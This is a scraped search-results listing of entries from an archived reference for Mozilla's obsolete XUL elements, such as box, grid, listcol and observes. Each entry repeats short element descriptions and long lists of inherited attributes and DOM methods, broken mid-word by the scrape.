attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
binding - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] should be contained within a bindings element. a binding is used to bind a variable to a node. like the triple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name. that name can then be used within the action of a rule. ...
...perties | methods | related ] should be contained within a bindings element. a binding is used to bind a variable to a node. like the triple element in syntax, it can be used to bind a particular property of a matched node to a particular variable name. that name can then be used within the action of a rule. ...
...ces, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related tbd ...
bindings - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] used to specify a set of variable bindings for a rule. this element should be contained within a rule element and contain one or more binding elements. this element is optional in firefox 3/mozilla 1.9 and later; instead binding elements may be placed directly inside the rule element. more information is available in the template guide. ...
...es | methods | related ] used to specify a set of variable bindings for a rule. this element should be contained within a rule element and contain one or more binding elements. this element is optional in firefox 3/mozilla 1.9 and later; instead binding elements may be placed directly inside the rule element. more information is available in the template guide. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related tbd ...
box - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container element which can contain any number of child elements. if the box has an orient
attribute that is set to horizontal, the child elements are laid out from left to right in the order that they appear in the box. if orient is set to vertical, the child elements are laid out from top to bottom. child elements do not overlap. the default orientation is horizontal. more information is available in the xul tutorial. ...
...e laid out from top to bottom. child elements do not overlap. the default orientation is horizontal. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements vbox, hbox ...
broadcasterset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container element for broadcaster elements. the broadcasterset and its descendants are not displayed. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a container element for broadcaster elements. the broadcasterset and its descendants are not displayed. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
column - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single column in a columns element. each child of the column element is placed in each successive cell of the grid. the column with the most child elements determines the number of rows in each column. it is common to use columns only to define width and flexibility for the grid column and not place elements directly inside the column. more information is available in the xul tutorial. example see grid for an example. ...
...element. each child of the column element is placed in each successive cell of the grid. the column with the most child elements determines the number of rows in each column. it is common to use columns only to define width and flexibility for the grid column and not place elements directly inside the column. more information is available in the xul tutorial. example see grid for an example. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements grid, columns, rows, row ...
columns - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] defines the columns of a grid. child column elements define the individual columns to appear in the grid. the columns element may be nested inside another columns element. other elements placed inside a columns element occupy the full height of the grid and are placed in their corresponding positions between the columns. more information about columns is available in the xul tutorial. example see grid for an example. ...
...id. child column elements define the individual columns to appear in the grid. the columns element may be nested inside another columns element. other elements placed inside a columns element occupy the full height of the grid and are placed in their corresponding positions between the columns. more information about columns is available in the xul tutorial. example see grid for an example. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements grid, column, rows, row. ...
conditions - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element should appear directly inside a rule element and is used to define conditions for the rule. within the conditions can be placed content, member and triple elements. these may have
attributes whose value is a variable name beginning with a question mark (?). when evaluating the rule for a particular rdf resource, the variables are replaced with values from the resource. if all variables can be replaced, the rule matched. this element is used with firefox 2/mozilla 1.8 and earlier instead of the query element. more information is available in the xul tutorial. ...
... value is a variable name beginning with a question mark (?). when evaluating the rule for a particular rdf resource, the variables are replaced with values from the resource. if all variables can be replaced, the rule matched. this element is used with firefox 2/mozilla 1.8 and earlier instead of the query element. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
dropmarker - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a dropmarker is a button with an arrow which will reveal more details when pressed. a dropmarker is not intended to be used as a separate element, but as part of another element. for instance the menulist and the popup type of datepicker use a dropmarker, that when pressed, will reveal a popup menu. ...
...
attributes | properties | methods | related ] a dropmarker is a button with an arrow which will reveal more details when pressed. a dropmarker is not intended to be used as a separate element, but as part of another element. for instance the menulist and the popup type of datepicker use a dropmarker, that when pressed, will reveal a popup menu. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
grid - Archive of obsolete content
note: this page is about grids in mozilla's xul technology. if you are looking for information on css grids, you should go to our css grid layout page instead. « xul reference home [ examples |
attributes | properties | methods | related ] a grid is a layout type that arranges elements in rows and columns. the grid is expected to contain both a columns element as a child which defines the structure of the columns and a rows element as child to define the rows. the size and
attributes defined on columns and rows will affect the size and placement of elements in each cell. elements placed within both the columns and rows will be displayed, although usually only elements will be placed inside one of these. it is most common to place elements within the rows and use the columns ...
... <row> <label value="user name"/> <textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox>
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements columns, column, rows, row. ...
grippy - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
groupbox - Archive of obsolete content
if a caption element is placed inside the groupbox, it will be used as a caption which appears along the top of the groupbox. typically, the groupbox will be drawn with a border around it and the caption either above or over the top border, however the actual appearance will be platform specific. on linux, for instance, only the caption appears with no border around the group. more information is available in the xul tutorial. ...
...al appearance will be platform specific. on linux, for instance, only the caption appears with no border around the group. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related interfaces nsiaccessibleprovider ...
hbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to horizontal orientation. more information is available in the xul tutorial. ...
...amples |
attributes | properties | methods | related ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to horizontal orientation. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements box, vbox ...
listcol - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a column in a listbox. you can make some columns flexible and other columns non-flexible. ...
...o column listbox with one column flexible --> <listbox> <listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox>
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
listcols - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container for the columns of a listbox, each of which are created with the listcol element. there should be only one listcols element in a list box. if there is no listcols element, the list box has a single column. ...
...a list box. if there is no listcols element, the list box has a single column. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
observes - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive events and
attributes from it. the observes element should be placed inside the element that wants to observe the broadcaster. when an observed
attribute is modified on the broadcaster, the
attribute's value will be forwarded and set on the parent element of the observer. more information is available in the xul tutorial.
attributes
attribute, element examples (example needed)
attributes
attribute type:
attribute name the
attribute that the observer is observing. when the value of the
attribute changes, the broadcast event is called on the observer. use the value * to observe all
attribute of the broadcasters. t...
... element type: id the id of the broadcaster element that the observer is observing. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
page - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] similar to a window, except it should be used for xul files that are to be loaded into an iframe. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] similar to a window, except it should be used for xul files that are to be loaded into an iframe. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
popupset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container for menupopup, panel and tooltip elements. this element is optional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
...upopup, panel and tooltip elements. this element is optional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements popup, menupopup ...
queryset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container for query elements when more than one query is used. for more information, see multiple queries. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a container for query elements when more than one query is used. for more information, see multiple queries. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
